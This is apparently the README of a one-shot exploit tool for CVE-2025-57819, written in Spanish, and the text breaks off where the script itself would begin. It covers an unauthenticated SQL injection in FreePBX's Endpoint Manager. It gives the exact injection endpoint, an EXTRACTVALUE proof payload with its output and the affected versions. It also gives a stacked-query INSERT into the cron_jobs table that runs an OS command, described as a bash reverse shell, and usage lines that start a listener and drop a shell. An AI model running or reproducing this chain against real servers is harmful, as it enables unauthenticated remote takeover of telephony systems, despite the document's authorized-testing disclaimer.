
CVE-2025-57819 -> rce
Exploit de un solo disparo para la inyección SQL no autenticada del Endpoint Manager de FreePBX (CVE-2025-57819), encadenada a ejecución remota de código mediante la tabla cron_jobs de FreePBX.
Solo para pruebas de seguridad autorizadas / uso en CTF.
El manejador ajax del módulo endpoint concatena el parámetro brand directamente en una consulta SQL, y la ruta del módulo FreePBX\modules\endpoint\ajax omite la verificación de Referrer/autenticación de ajax. Esto proporciona una inyección SQL no autenticada basada en errores (mediante EXTRACTVALUE), con escrituras de consultas apiladas habilitadas.
Punto de inyección:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Prueba (lectura basada en errores):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Versiones afectadas: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
La inyección es de solo lectura por sí sola, pero las consultas apiladas permiten escrituras. FreePBX ejecuta tareas de la tabla cron_jobs mediante su gestor de cron, por lo que insertar una fila produce ejecución arbitraria de comandos (en ~60s, programación * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
El comando inyectado es una reverse shell de bash. La fila de cron se elimina automáticamente tras la primera conexión para evitar conexiones repetidas.
pip install requests urllib3
Python 3. La detección de IP integrada (-i/--interface) es exclusiva de Linux; usa --ip en otras plataformas.
# Defaults: interface tun0, port 4444 — starts listener, exploits, drops a shell
python3 exploit.py http://{target}
# Pick a different interface / port
python3 exploit.py http://{target} -i eth0 -p 9001
# Set the listener IP explicitly
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
El script: